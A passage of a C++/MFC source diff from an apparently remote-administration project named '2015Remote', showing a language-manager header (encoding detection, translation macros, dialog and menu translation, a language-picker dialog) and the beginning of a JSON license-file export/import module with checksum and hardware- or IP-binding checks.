|
||||
}
|
||||
if (n >= 2 && buf[0] == 0xFE && buf[1] == 0xFF) {
|
||||
TRACE("[LangEnc] Detected UTF-16 BE BOM\n");
|
||||
return false;
|
||||
}
|
||||
|
||||
// 检测 UTF-8 无 BOM:扫描是否存在合法的 UTF-8 多字节序列
|
||||
// 中文 UTF-8 为 3 字节 (E0-EF + 80-BF + 80-BF)
|
||||
// GBK 为 2 字节 (81-FE + 40-FE),字节模式不同
|
||||
int utf8SeqCount = 0;
|
||||
for (size_t i = 0; i < n; ) {
|
||||
unsigned char c = buf[i];
|
||||
if (c < 0x80) {
|
||||
i++;
|
||||
} else if ((c & 0xE0) == 0xC0 && i + 1 < n
|
||||
&& (buf[i+1] & 0xC0) == 0x80) {
|
||||
utf8SeqCount++; // 2 字节 UTF-8
|
||||
i += 2;
|
||||
} else if ((c & 0xF0) == 0xE0 && i + 2 < n
|
||||
&& (buf[i+1] & 0xC0) == 0x80
|
||||
&& (buf[i+2] & 0xC0) == 0x80) {
|
||||
utf8SeqCount++; // 3 字节 UTF-8(中文)
|
||||
i += 3;
|
||||
} else if ((c & 0xF8) == 0xF0 && i + 3 < n
|
||||
&& (buf[i+1] & 0xC0) == 0x80
|
||||
&& (buf[i+2] & 0xC0) == 0x80
|
||||
&& (buf[i+3] & 0xC0) == 0x80) {
|
||||
utf8SeqCount++; // 4 字节 UTF-8
|
||||
i += 4;
|
||||
} else {
|
||||
// 高字节不符合 UTF-8 规则
|
||||
// 但如果在缓冲区末尾,可能是多字节序列被截断,不应误判
|
||||
if (i + 3 >= n && c >= 0xC0) {
|
||||
TRACE("[LangEnc] Truncated at offset %zu: 0x%02X, skip\n", i, c);
|
||||
break; // 缓冲区尾部截断,跳出循环按已有结果判断
|
||||
}
|
||||
// 确实是 ANSI/GBK
|
||||
TRACE("[LangEnc] GBK byte at offset %zu: 0x%02X → ANSI\n", i, c);
|
||||
return true;
|
||||
}
|
||||
}
|
||||
|
||||
TRACE("[LangEnc] utf8SeqCount=%d → %s\n", utf8SeqCount,
|
||||
utf8SeqCount > 0 ? "UTF-8 (not ANSI)" : "pure ASCII (ANSI)");
|
||||
// 存在多字节序列且全部符合 UTF-8 规则 → 判定为 UTF-8
|
||||
return (utf8SeqCount == 0);
|
||||
}
|
||||
|
||||
// 加载语言文件
|
||||
bool Load(const CString& langCode)
|
||||
{
|
||||
m_strings.clear();
|
||||
m_currentLang = langCode;
|
||||
|
||||
// 如果是中文,不需要加载翻译
|
||||
if (langCode == _T("zh_CN") || langCode.IsEmpty()) {
|
||||
return true;
|
||||
}
|
||||
|
||||
CString langFile = m_langDir + _T("\\") + langCode + _T(".ini");
|
||||
|
||||
// 检查文件是否存在
|
||||
if (GetFileAttributes(langFile) == INVALID_FILE_ATTRIBUTES) {
|
||||
return false;
|
||||
}
|
||||
|
||||
// 使用 CIniParser 解析,无文件大小限制,且不 trim key
|
||||
CIniParser ini;
|
||||
if (!ini.LoadFile((LPCSTR)langFile)) {
|
||||
return false;
|
||||
}
|
||||
|
||||
const CIniParser::TKeyVal* pSection = ini.GetSection("Strings");
|
||||
if (pSection) {
|
||||
for (const auto& kv : *pSection) {
|
||||
m_strings[CString(kv.first.c_str())] = CString(kv.second.c_str());
|
||||
}
|
||||
}
|
||||
|
||||
return true;
|
||||
}
|
||||
|
||||
// 获取翻译字符串
|
||||
// key: 中文原文
|
||||
// 返回: 翻译后的文本,如果没有翻译则返回原文
|
||||
CString Get(const CString& key)
|
||||
{
|
||||
if (m_currentLang == _T("zh_CN") || m_currentLang.IsEmpty()) {
|
||||
return key; // 中文直接返回
|
||||
}
|
||||
|
||||
auto it = m_strings.find(key);
|
||||
if (it != m_strings.end()) {
|
||||
return it->second;
|
||||
}
|
||||
return key; // 没有翻译则返回原文
|
||||
}
|
||||
|
||||
// 获取翻译字符串 (std::string 版本)
|
||||
std::string Get(const std::string& key)
|
||||
{
|
||||
CString result = Get(CString(key.c_str()));
|
||||
CT2A ansi(result);
|
||||
return std::string(ansi);
|
||||
}
|
||||
|
||||
// 获取当前语言
|
||||
CString GetCurrentLanguage() const
|
||||
{
|
||||
return m_currentLang;
|
||||
}
|
||||
|
||||
// 是否为中文模式(无需翻译)
|
||||
bool IsChinese() const
|
||||
{
|
||||
return m_currentLang.IsEmpty() || m_currentLang == _T("zh_CN");
|
||||
}
|
||||
|
||||
// 获取可用语言数量(包括内置的简体中文)
|
||||
// 返回 1 表示只有简体中文,无其他语言文件
|
||||
size_t GetLanguageCount()
|
||||
{
|
||||
auto langs = GetAvailableLanguages();
|
||||
// 检查是否有 zh_CN.ini 文件
|
||||
bool hasZhCN = false;
|
||||
for (const auto& lang : langs) {
|
||||
if (lang == _T("zh_CN")) {
|
||||
hasZhCN = true;
|
||||
break;
|
||||
}
|
||||
}
|
||||
// 简体中文始终存在,若 zh_CN.ini 不存在则额外 +1
|
||||
return hasZhCN ? langs.size() : langs.size() + 1;
|
||||
}
|
||||
};
|
||||
|
||||
// 全局访问宏
|
||||
#define g_Lang CLangManager::Instance()
|
||||
|
||||
// 翻译宏 - 用于代码中的字符串字面量
|
||||
// 用法: _TR("中文字符串")
|
||||
#define _TR(str) g_Lang.Get(CString(_T(str)))
|
||||
|
||||
// 翻译宏 - 用于格式化函数 (sprintf_s, _stprintf_s 等可变参数函数)
|
||||
// 用法: _stprintf_s(buf, _TRF("连接 %s 失败"), ip);
|
||||
#define _TRF(str) ((LPCTSTR)_TR(str))
|
||||
|
||||
// 翻译函数 - 用于 CString 变量或 LPCTSTR
|
||||
// 用法: _L(strVar) 或 _L(_T("中文"))
|
||||
inline CString _L(const CString& str)
|
||||
{
|
||||
return g_Lang.Get(str);
|
||||
}
|
||||
inline CString _L(LPCTSTR str)
|
||||
{
|
||||
return g_Lang.Get(CString(str));
|
||||
}
|
||||
|
||||
// 翻译宏 - 用于格式化函数中的变量 (返回 LPCTSTR)
|
||||
// 用法: _stprintf_s(buf, _LF(strVar), arg);
|
||||
// 注意: 必须是宏,函数版本会导致悬空指针
|
||||
#define _LF(str) ((LPCTSTR)_L(str))
|
||||
|
||||
// CString::Format 的多语言版本 (用于全局替换 .FormatL)
|
||||
// 用法: str.FormatLL("连接 %s 失败", ip);
|
||||
// 展开: str.FormatL(_TR("连接 %s 失败"), ip);
|
||||
// 注意: 不需要翻译的字符串也可以用,找不到翻译会返回原文
|
||||
#define FormatL(fmt, ...) Format(_TR(fmt), __VA_ARGS__)
|
||||
|
||||
// ============================================
|
||||
// 带自动翻译的 MFC 函数宏 (L 后缀 = Language)
|
||||
// ============================================
|
||||
|
||||
// MessageBox 系列
|
||||
// MFC 成员函数版本 (CWnd::MessageBox)
|
||||
#define MessageBoxL(text, caption, type) \
|
||||
MessageBox(_TR(text), _TR(caption), type)
|
||||
|
||||
// 全局 API 版本 (::MessageBox / ::MessageBoxA / ::MessageBoxW)
|
||||
#define MessageBoxAPI_L(hwnd, text, caption, type) \
|
||||
::MessageBox(hwnd, _TR(text), _TR(caption), type)
|
||||
|
||||
// 简写:hwnd 为 NULL 时
|
||||
#define MsgBoxL(text, caption, type) \
|
||||
::MessageBox(NULL, _TR(text), _TR(caption), type)
|
||||
|
||||
#define AfxMessageBoxL(text, type) \
|
||||
AfxMessageBox(_TR(text), type)
|
||||
|
||||
// SetWindowText / SetDlgItemText
|
||||
#define SetWindowTextL(text) \
|
||||
SetWindowText(_TR(text))
|
||||
|
||||
#define SetDlgItemTextL(id, text) \
|
||||
SetDlgItemText(id, _TR(text))
|
||||
|
||||
// 列表控件
|
||||
#define InsertColumnL(index, text, format, width) \
|
||||
InsertColumn(index, _TR(text), format, width)
|
||||
|
||||
#define InsertItemL(index, text) \
|
||||
InsertItem(index, _TR(text))
|
||||
|
||||
#define SetItemTextL(item, subitem, text) \
|
||||
SetItemText(item, subitem, _TR(text))
|
||||
|
||||
// ComboBox / ListBox
|
||||
#define AddStringL(text) \
|
||||
AddString(_TR(text))
|
||||
|
||||
#define InsertStringL(index, text) \
|
||||
InsertString(index, _TR(text))
|
||||
|
||||
// Tab 控件
|
||||
#define InsertTabItemL(index, text) \
|
||||
InsertItem(index, _TR(text))
|
||||
|
||||
// 状态栏
|
||||
#define SetPaneTextL(index, text) \
|
||||
SetPaneText(index, _TR(text))
|
||||
|
||||
// 菜单
|
||||
#define AppendMenuL(flags, id, text) \
|
||||
AppendMenu(flags, id, _TR(text))
|
||||
|
||||
#define AppendMenuSeparator(p) \
|
||||
AppendMenu(p)
|
||||
|
||||
#define InsertMenuL(pos, flags, id, text) \
|
||||
InsertMenu(pos, flags, id, _TR(text))
|
||||
|
||||
#define ModifyMenuL(pos, flags, id, text) \
|
||||
ModifyMenu(pos, flags, id, _TR(text))
|
||||
|
||||
// 翻译对话框所有控件
|
||||
inline void TranslateDialog(CWnd* pWnd)
|
||||
{
|
||||
if (g_Lang.IsChinese()) {
|
||||
return; // 中文模式不需要翻译
|
||||
}
|
||||
|
||||
if (!pWnd || !pWnd->GetSafeHwnd()) {
|
||||
return;
|
||||
}
|
||||
|
||||
// 翻译对话框标题
|
||||
CString title;
|
||||
pWnd->GetWindowText(title);
|
||||
if (!title.IsEmpty()) {
|
||||
CString newTitle = g_Lang.Get(title);
|
||||
if (newTitle != title) {
|
||||
pWnd->SetWindowText(newTitle);
|
||||
}
|
||||
}
|
||||
|
||||
// 遍历所有子控件
|
||||
CWnd* pChild = pWnd->GetWindow(GW_CHILD);
|
||||
while (pChild) {
|
||||
// 获取控件文本
|
||||
CString text;
|
||||
pChild->GetWindowText(text);
|
||||
|
||||
if (!text.IsEmpty()) {
|
||||
CString newText = g_Lang.Get(text);
|
||||
if (newText != text) {
|
||||
pChild->SetWindowText(newText);
|
||||
}
|
||||
}
|
||||
|
||||
// 如果是菜单按钮或有子菜单,也需要处理
|
||||
// 递归处理子窗口(如 GroupBox 内的控件)
|
||||
if (pChild->GetWindow(GW_CHILD)) {
|
||||
TranslateDialog(pChild);
|
||||
}
|
||||
|
||||
pChild = pChild->GetNextWindow();
|
||||
}
|
||||
}
|
||||
|
||||
// 使用 Unicode API 获取菜单字符串,然后转换为 GBK 用于翻译查找
|
||||
inline CString GetMenuStringAsGBK(HMENU hMenu, UINT uIDItem, UINT flags)
|
||||
{
|
||||
// 获取菜单字符串长度
|
||||
int len = ::GetMenuStringW(hMenu, uIDItem, NULL, 0, flags);
|
||||
if (len <= 0) return CString();
|
||||
|
||||
CStringW wstr;
|
||||
::GetMenuStringW(hMenu, uIDItem, wstr.GetBufferSetLength(len + 1), len + 1, flags);
|
||||
wstr.ReleaseBuffer();
|
||||
|
||||
if (wstr.IsEmpty()) return CString();
|
||||
|
||||
// 将 Unicode 转换为 GBK (代码页 936)
|
||||
int mbLen = WideCharToMultiByte(936, 0, wstr, -1, NULL, 0, NULL, NULL);
|
||||
if (mbLen <= 0) return CString();
|
||||
|
||||
CString result;
|
||||
WideCharToMultiByte(936, 0, wstr, -1, result.GetBufferSetLength(mbLen), mbLen, NULL, NULL);
|
||||
result.ReleaseBuffer();
|
||||
|
||||
return result;
|
||||
}
|
||||
|
||||
// 翻译菜单
|
||||
inline void TranslateMenu(CMenu* pMenu)
|
||||
{
|
||||
if (!pMenu || !pMenu->GetSafeHmenu() || g_Lang.IsChinese()) {
|
||||
return;
|
||||
}
|
||||
|
||||
UINT count = pMenu->GetMenuItemCount();
|
||||
for (UINT i = 0; i < count; i++) {
|
||||
// 使用 Unicode API 获取菜单文本,转换为 GBK 用于查找
|
||||
CString text = GetMenuStringAsGBK(pMenu->GetSafeHmenu(), i, MF_BYPOSITION);
|
||||
if (!text.IsEmpty()) {
|
||||
CString newText = g_Lang.Get(text);
|
||||
if (newText != text) {
|
||||
// 保留快捷键部分 (Tab 后的内容,如 Ctrl+S)
|
||||
int tabPos = text.Find(_T('\t'));
|
||||
if (tabPos > 0) {
|
||||
CString shortcut = text.Mid(tabPos);
|
||||
int newTabPos = newText.Find(_T('\t'));
|
||||
if (newTabPos < 0) {
|
||||
newText += shortcut;
|
||||
}
|
||||
}
|
||||
|
||||
// 检查是否是弹出菜单(有子菜单)
|
||||
CMenu* pSubMenu = pMenu->GetSubMenu(i);
|
||||
if (pSubMenu) {
|
||||
// 弹出菜单使用 MF_POPUP
|
||||
pMenu->ModifyMenu(i, MF_BYPOSITION | MF_POPUP | MF_STRING,
|
||||
(UINT_PTR)pSubMenu->GetSafeHmenu(), newText);
|
||||
} else {
|
||||
// 普通菜单项
|
||||
pMenu->ModifyMenu(i, MF_BYPOSITION | MF_STRING,
|
||||
pMenu->GetMenuItemID(i), newText);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// 递归处理子菜单
|
||||
CMenu* pSubMenu = pMenu->GetSubMenu(i);
|
||||
if (pSubMenu) {
|
||||
TranslateMenu(pSubMenu);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// 加载菜单并翻译 (用于 LoadMenu 动态加载菜单后自动翻译)
|
||||
inline BOOL LoadMenuL(CMenu& menu, UINT nIDResource)
|
||||
{
|
||||
if (!menu.LoadMenu(nIDResource)) return FALSE;
|
||||
TranslateMenu(&menu);
|
||||
return TRUE;
|
||||
}
|
||||
|
||||
inline BOOL LoadMenuL(CMenu* pMenu, UINT nIDResource)
|
||||
{
|
||||
if (!pMenu || !pMenu->LoadMenu(nIDResource)) return FALSE;
|
||||
TranslateMenu(pMenu);
|
||||
return TRUE;
|
||||
}
|
||||
|
||||
// 翻译列表控件表头
|
||||
inline void TranslateListHeader(CListCtrl* pList)
|
||||
{
|
||||
if (!pList || g_Lang.IsChinese()) {
|
||||
return;
|
||||
}
|
||||
|
||||
CHeaderCtrl* pHeader = pList->GetHeaderCtrl();
|
||||
if (!pHeader) {
|
||||
return;
|
||||
}
|
||||
|
||||
int count = pHeader->GetItemCount();
|
||||
for (int i = 0; i < count; i++) {
|
||||
// 使用 Unicode API 获取表头文本
|
||||
HDITEMW hdiW;
|
||||
WCHAR wtext[256] = { 0 };
|
||||
hdiW.mask = HDI_TEXT;
|
||||
hdiW.pszText = wtext;
|
||||
hdiW.cchTextMax = 256;
|
||||
|
||||
if (::SendMessageW(pHeader->GetSafeHwnd(), HDM_GETITEMW, i, (LPARAM)&hdiW)) {
|
||||
// 将 Unicode 转换为 GBK 用于翻译查找
|
||||
CString text;
|
||||
int mbLen = WideCharToMultiByte(936, 0, wtext, -1, NULL, 0, NULL, NULL);
|
||||
if (mbLen > 0) {
|
||||
WideCharToMultiByte(936, 0, wtext, -1, text.GetBufferSetLength(mbLen), mbLen, NULL, NULL);
|
||||
text.ReleaseBuffer();
|
||||
}
|
||||
|
||||
if (!text.IsEmpty()) {
|
||||
CString newText = g_Lang.Get(text);
|
||||
if (newText != text) {
|
||||
// 设置翻译后的文本
|
||||
HDITEM hdi;
|
||||
hdi.mask = HDI_TEXT;
|
||||
hdi.pszText = (LPTSTR)(LPCTSTR)newText;
|
||||
pHeader->SetItem(i, &hdi);
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// 支持多语言的对话框基类 (基于 CDialog)
|
||||
// 用法: 将 class CMyDlg : public CDialog 改为 class CMyDlg : public CDialogLang
|
||||
class CDialogLang : public CDialog
|
||||
{
|
||||
public:
|
||||
CDialogLang() {}
|
||||
|
||||
CDialogLang(UINT nIDTemplate, CWnd* pParent = NULL)
|
||||
: CDialog(nIDTemplate, pParent) {}
|
||||
|
||||
CDialogLang(LPCTSTR lpszTemplateName, CWnd* pParent = NULL)
|
||||
: CDialog(lpszTemplateName, pParent) {}
|
||||
|
||||
protected:
|
||||
virtual BOOL OnInitDialog() override
|
||||
{
|
||||
BOOL ret = __super::OnInitDialog();
|
||||
TranslateDialog(this);
|
||||
TranslateMenu(GetMenu()); // 自动翻译菜单
|
||||
return ret;
|
||||
}
|
||||
};
|
||||
|
||||
// 支持多语言的对话框基类 (基于 CDialogEx)
|
||||
// 用法: 将 class CMyDlg : public CDialogEx 改为 class CMyDlg : public CDialogLangEx
|
||||
class CDialogLangEx : public CDialogEx
|
||||
{
|
||||
public:
|
||||
CDialogLangEx(UINT nIDTemplate, CWnd* pParent = NULL)
|
||||
: CDialogEx(nIDTemplate, pParent) {}
|
||||
|
||||
CDialogLangEx(LPCTSTR lpszTemplateName, CWnd* pParent = NULL)
|
||||
: CDialogEx(lpszTemplateName, pParent) {}
|
||||
|
||||
protected:
|
||||
virtual BOOL OnInitDialog() override
|
||||
{
|
||||
BOOL ret = __super::OnInitDialog();
|
||||
TranslateDialog(this);
|
||||
TranslateMenu(GetMenu()); // 自动翻译菜单
|
||||
return ret;
|
||||
}
|
||||
};
|
||||
|
||||
// ============================================
|
||||
// 语言选择对话框(动态创建,无需 RC 资源)
|
||||
// ============================================
|
||||
class CLangSelectDlg : public CDialog
|
||||
{
|
||||
public:
|
||||
CString m_strSelectedLang;
|
||||
CComboBox m_comboLang;
|
||||
|
||||
CLangSelectDlg(CWnd* pParent = NULL) : CDialog(), m_pParent(pParent) {}
|
||||
|
||||
virtual INT_PTR DoModal() override
|
||||
{
|
||||
InitModalIndirect(CreateDialogTemplate(), m_pParent);
|
||||
return CDialog::DoModal();
|
||||
}
|
||||
|
||||
// 静态方法:显示对话框并返回选择的语言代码
|
||||
// 返回空字符串表示用户取消
|
||||
static CString Show(CWnd* pParent = NULL)
|
||||
{
|
||||
CLangSelectDlg dlg(pParent);
|
||||
if (dlg.DoModal() == IDOK) {
|
||||
return dlg.m_strSelectedLang;
|
||||
}
|
||||
return _T("");
|
||||
}
|
||||
|
||||
protected:
|
||||
CWnd* m_pParent;
|
||||
std::vector<BYTE> m_templateBuffer;
|
||||
std::vector<CString> m_langCodes;
|
||||
|
||||
// 语言代码到显示名称的映射
|
||||
static CString GetLanguageDisplayName(const CString& langCode)
|
||||
{
|
||||
if (langCode == _T("zh_CN")) return _T("Simplified Chinese");
|
||||
if (langCode == _T("zh_TW")) return _T("Traditional Chinese");
|
||||
if (langCode == _T("en_US")) return _T("English");
|
||||
return langCode;
|
||||
}
|
||||
|
||||
LPCDLGTEMPLATE CreateDialogTemplate()
|
||||
{
|
||||
const WORD DLG_WIDTH = 200;
|
||||
const WORD DLG_HEIGHT = 75;
|
||||
|
||||
m_templateBuffer.clear();
|
||||
|
||||
DLGTEMPLATE dlgTemplate = { 0 };
|
||||
dlgTemplate.style = DS_MODALFRAME | DS_CENTER | WS_POPUP | WS_CAPTION | WS_SYSMENU;
|
||||
dlgTemplate.cdit = 4;
|
||||
dlgTemplate.cx = DLG_WIDTH;
|
||||
dlgTemplate.cy = DLG_HEIGHT;
|
||||
|
||||
AppendData(&dlgTemplate, sizeof(DLGTEMPLATE));
|
||||
AppendWord(0); // 菜单
|
||||
AppendWord(0); // 窗口类
|
||||
AppendString(_T("选择语言 / Select Language"));
|
||||
AlignToDword();
|
||||
|
||||
// 静态文本
|
||||
AddControl(0x0082, 15, 15, 40, 12, (WORD)-1,
|
||||
SS_LEFT | WS_CHILD | WS_VISIBLE, _T("语言:"));
|
||||
|
||||
// ComboBox
|
||||
AddControl(0x0085, 55, 13, 130, 150, 1001,
|
||||
CBS_DROPDOWNLIST | WS_CHILD | WS_VISIBLE | WS_TABSTOP | WS_VSCROLL, _T(""));
|
||||
|
||||
// 确定按钮
|
||||
AddControl(0x0080, 45, 50, 50, 14, IDOK,
|
||||
BS_DEFPUSHBUTTON | WS_CHILD | WS_VISIBLE | WS_TABSTOP, _T("确定"));
|
||||
|
||||
// 取消按钮
|
||||
AddControl(0x0080, 105, 50, 50, 14, IDCANCEL,
|
||||
BS_PUSHBUTTON | WS_CHILD | WS_VISIBLE | WS_TABSTOP, _T("取消"));
|
||||
|
||||
return (LPCDLGTEMPLATE)m_templateBuffer.data();
|
||||
}
|
||||
|
||||
void AppendData(const void* data, size_t size)
|
||||
{
|
||||
const BYTE* p = (const BYTE*)data;
|
||||
m_templateBuffer.insert(m_templateBuffer.end(), p, p + size);
|
||||
}
|
||||
|
||||
void AppendWord(WORD w)
|
||||
{
|
||||
AppendData(&w, sizeof(WORD));
|
||||
}
|
||||
|
||||
void AppendString(LPCTSTR str)
|
||||
{
|
||||
#ifdef UNICODE
|
||||
AppendData(str, (_tcslen(str) + 1) * sizeof(WCHAR));
|
||||
#else
|
||||
int len = MultiByteToWideChar(CP_ACP, 0, str, -1, NULL, 0);
|
||||
std::vector<WCHAR> wstr(len);
|
||||
MultiByteToWideChar(CP_ACP, 0, str, -1, wstr.data(), len);
|
||||
AppendData(wstr.data(), len * sizeof(WCHAR));
|
||||
#endif
|
||||
}
|
||||
|
||||
void AlignToDword()
|
||||
{
|
||||
while (m_templateBuffer.size() % 4 != 0)
|
||||
m_templateBuffer.push_back(0);
|
||||
}
|
||||
|
||||
void AddControl(WORD classAtom, short x, short y, short cx, short cy,
|
||||
WORD id, DWORD style, LPCTSTR text)
|
||||
{
|
||||
AlignToDword();
|
||||
DLGITEMTEMPLATE item = { 0 };
|
||||
item.style = style;
|
||||
item.x = x;
|
||||
item.y = y;
|
||||
item.cx = cx;
|
||||
item.cy = cy;
|
||||
item.id = id;
|
||||
AppendData(&item, sizeof(DLGITEMTEMPLATE));
|
||||
AppendWord(0xFFFF);
|
||||
AppendWord(classAtom);
|
||||
AppendString(text);
|
||||
AppendWord(0);
|
||||
}
|
||||
|
||||
virtual BOOL OnInitDialog() override
|
||||
{
|
||||
CDialog::OnInitDialog();
|
||||
|
||||
// 翻译对话框控件(标题、标签、按钮)
|
||||
TranslateDialog(this);
|
||||
|
||||
m_comboLang.SubclassDlgItem(1001, this);
|
||||
|
||||
// 添加简体中文
|
||||
int idx = m_comboLang.AddString(_T("简体中文"));
|
||||
m_langCodes.push_back(_T("zh_CN"));
|
||||
m_comboLang.SetItemData(idx, 0);
|
||||
|
||||
// 添加其他语言
|
||||
auto langs = g_Lang.GetAvailableLanguages();
|
||||
for (const auto& lang : langs) {
|
||||
if (lang == _T("zh_CN")) continue;
|
||||
CString displayName = GetLanguageDisplayName(lang);
|
||||
idx = m_comboLang.AddString(displayName);
|
||||
m_comboLang.SetItemData(idx, m_langCodes.size());
|
||||
m_langCodes.push_back(lang);
|
||||
}
|
||||
|
||||
// 选中当前语言
|
||||
CString currentLang = g_Lang.GetCurrentLanguage();
|
||||
if (currentLang.IsEmpty()) currentLang = _T("zh_CN");
|
||||
for (size_t i = 0; i < m_langCodes.size(); i++) {
|
||||
if (m_langCodes[i] == currentLang) {
|
||||
m_comboLang.SetCurSel((int)i);
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
CenterWindow();
|
||||
return TRUE;
|
||||
}
|
||||
|
||||
virtual void OnOK() override
|
||||
{
|
||||
int sel = m_comboLang.GetCurSel();
|
||||
if (sel >= 0) {
|
||||
size_t idx = (size_t)m_comboLang.GetItemData(sel);
|
||||
if (idx < m_langCodes.size()) {
|
||||
m_strSelectedLang = m_langCodes[idx];
|
||||
}
|
||||
}
|
||||
CDialog::OnOK();
|
||||
}
|
||||
};
|
||||
304
server/2015Remote/LicenseFile.cpp
Normal file
304
server/2015Remote/LicenseFile.cpp
Normal file
@@ -0,0 +1,304 @@
|
||||
#include "stdafx.h"
|
||||
#include "resource.h"
|
||||
#include "2015Remote.h"
|
||||
#include "LicenseFile.h"
|
||||
#include "pwd_gen.h"
|
||||
#include "2015RemoteDlg.h"
|
||||
#include "CPasswordDlg.h"
|
||||
#include "LangManager.h"
|
||||
#include "jsoncpp/json.h"
|
||||
#include <fstream>
|
||||
#include <sstream>
|
||||
#include <ctime>
|
||||
#include <cctype>
|
||||
#include <cstdio>
|
||||
#include <memory>
|
||||
|
||||
#ifndef _WIN64
|
||||
#ifdef _DEBUG
|
||||
#pragma comment(lib, "jsoncpp/jsoncppd.lib")
|
||||
#else
|
||||
#pragma comment(lib, "jsoncpp/jsoncpp.lib")
|
||||
#endif
|
||||
#else
|
||||
#ifdef _DEBUG
|
||||
#pragma comment(lib, "jsoncpp/jsoncpp_x64d.lib")
|
||||
#else
|
||||
#pragma comment(lib, "jsoncpp/jsoncpp_x64.lib")
|
||||
#endif
|
||||
#endif
|
||||
|
||||
// Get current time string
|
||||
static std::string GetCurrentTimeString() {
|
||||
time_t now = time(nullptr);
|
||||
struct tm t;
|
||||
localtime_s(&t, &now);
|
||||
char buf[32];
|
||||
strftime(buf, sizeof(buf), "%Y-%m-%d %H:%M:%S", &t);
|
||||
return buf;
|
||||
}
|
||||
|
||||
// Build checksum content (includes magic, version, createTime, and license fields)
|
||||
static std::string BuildChecksumContent(const std::string& magic,
|
||||
int version,
|
||||
const std::string& createTime,
|
||||
const std::string& sn,
|
||||
const std::string& password,
|
||||
const std::string& pwdHmac,
|
||||
const std::string& authorization,
|
||||
const std::string& frpConfig = "") {
|
||||
std::string content;
|
||||
content += magic + "|";
|
||||
content += std::to_string(version) + "|";
|
||||
content += createTime + "|";
|
||||
content += sn + "|";
|
||||
content += password + "|";
|
||||
content += pwdHmac + "|";
|
||||
content += authorization;
|
||||
if (!frpConfig.empty()) {
|
||||
content += "|" + frpConfig;
|
||||
}
|
||||
return content;
|
||||
}
|
||||
|
||||
bool IsIPv4Format(const std::string& sn) {
|
||||
// IPv4 format: 4 segments (0-255) separated by dots, no dashes
|
||||
if (sn.find('-') != std::string::npos) return false;
|
||||
if (sn.empty()) return false;
|
||||
|
||||
int segmentCount = 0;
|
||||
int currentValue = 0;
|
||||
int digitCount = 0;
|
||||
|
||||
for (size_t i = 0; i <= sn.size(); ++i) {
|
||||
if (i == sn.size() || sn[i] == '.') {
|
||||
if (digitCount == 0) return false; // Empty segment
|
||||
if (currentValue > 255) return false; // Value out of range
|
||||
segmentCount++;
|
||||
currentValue = 0;
|
||||
digitCount = 0;
|
||||
} else if (isdigit(sn[i])) {
|
||||
digitCount++;
|
||||
if (digitCount > 3) return false; // Too many digits (prevents overflow)
|
||||
currentValue = currentValue * 10 + (sn[i] - '0');
|
||||
} else {
|
||||
return false; // Invalid character
|
||||
}
|
||||
}
|
||||
|
||||
return segmentCount == 4; // Must have exactly 4 segments
|
||||
}
|
||||
|
||||
SNMatchResult ValidateLicenseSN(const std::string& licenseSN) {
|
||||
if (IsIPv4Format(licenseSN)) {
|
||||
// IP binding: check if matches current machine's public IP
|
||||
// For now, we check against configured master IP
|
||||
// In real implementation, should get actual public IP
|
||||
std::string currentIP = CMy2015RemoteDlg::GetHardwareID(1); // Use IP mode
|
||||
if (licenseSN == currentIP) {
|
||||
return SNMatchResult::Match;
|
||||
}
|
||||
return SNMatchResult::IPMismatch;
|
||||
} else {
|
||||
// Hardware binding: check if matches current device ID
|
||||
// Use GetHardwareID() to respect HWIDVersion (V1 or V2)
|
||||
std::string hardwareID = CMy2015RemoteDlg::GetHardwareID(0);
|
||||
std::string hashedID = hashSHA256(hardwareID);
|
||||
std::string currentDeviceID = getFixedLengthID(hashedID);
|
||||
if (licenseSN == currentDeviceID) {
|
||||
return SNMatchResult::Match;
|
||||
}
|
||||
return SNMatchResult::HardwareMismatch;
|
||||
}
|
||||
}
|
||||
|
||||
bool ExportLicenseFile(const std::string& filePath,
|
||||
const std::string& sn,
|
||||
const std::string& password,
|
||||
const std::string& pwdHmac,
|
||||
const std::string& authorization,
|
||||
const std::string& frpConfig) {
|
||||
// 1. Generate create time
|
||||
std::string createTime = GetCurrentTimeString();
|
||||
|
||||
// 2. Calculate checksum
|
||||
std::string checksumContent = BuildChecksumContent(
|
||||
LICENSE_MAGIC, LICENSE_FILE_VERSION, createTime,
|
||||
sn, password, pwdHmac, authorization, frpConfig);
|
||||
std::string checksum = "sha256:" + hashSHA256(checksumContent);
|
||||
|
||||
// 3. Build JSON using jsoncpp
|
||||
Json::Value root;
|
||||
root["magic"] = LICENSE_MAGIC;
|
||||
root["version"] = LICENSE_FILE_VERSION;
|
||||
root["createTime"] = createTime;
|
||||
|
||||
Json::Value license;
|
||||
license["sn"] = sn;
|
||||
license["password"] = password;
|
||||
license["pwdHmac"] = pwdHmac;
|
||||
license["authorization"] = authorization;
|
||||
if (!frpConfig.empty()) {
|
||||
license["frpConfig"] = frpConfig;
|
||||
}
|
||||
root["license"] = license;
|
||||
|
||||
root["checksum"] = checksum;
|
||||
|
||||
// 4. Write to temp file first (atomic write)
|
||||
std::string tempPath = filePath + ".tmp";
|
||||
{
|
||||
std::ofstream file(tempPath);
|
||||
if (!file.is_open()) return false;
|
||||
Json::StreamWriterBuilder builder;
|
||||
builder["indentation"] = " ";
|
||||
std::unique_ptr<Json::StreamWriter> writer(builder.newStreamWriter());
|
||||
writer->write(root, &file);
|
||||
if (!file.good()) {
|
||||
remove(tempPath.c_str());
|
||||
return false;
|
||||
}
|
||||
}
|
||||
|
||||
// 5. Remove existing file and rename temp to target
|
||||
remove(filePath.c_str());
|
||||
if (rename(tempPath.c_str(), filePath.c_str()) != 0) {
|
||||
remove(tempPath.c_str());
|
||||
return false;
|
||||
}
|
||||
|
||||
return true;
|
||||
}
|
||||
|
||||
LicenseImportResult ImportLicenseFile(const std::string& filePath,
|
||||
LicenseFileData& outData,
|
||||
std::string& outError) {
|
||||
// 1. Check file exists and read content
|
||||
std::ifstream file(filePath);
|
||||
if (!file.is_open()) {
|
||||
outError = GetImportErrorMessage(LicenseImportResult::FileNotFound);
|
||||
return LicenseImportResult::FileNotFound;
|
||||
}
|
||||
|
||||
// 2. Parse JSON using jsoncpp
|
||||
Json::Value root;
|
||||
Json::Reader reader;
|
||||
if (!reader.parse(file, root)) {
|
||||
file.close();
|
||||
outError = GetImportErrorMessage(LicenseImportResult::InvalidFormat);
|
||||
return LicenseImportResult::InvalidFormat;
|
||||
}
|
||||
file.close();
|
||||
|
||||
// 3. Extract and validate magic
|
||||
std::string magic = root.get("magic", "").asString();
|
||||
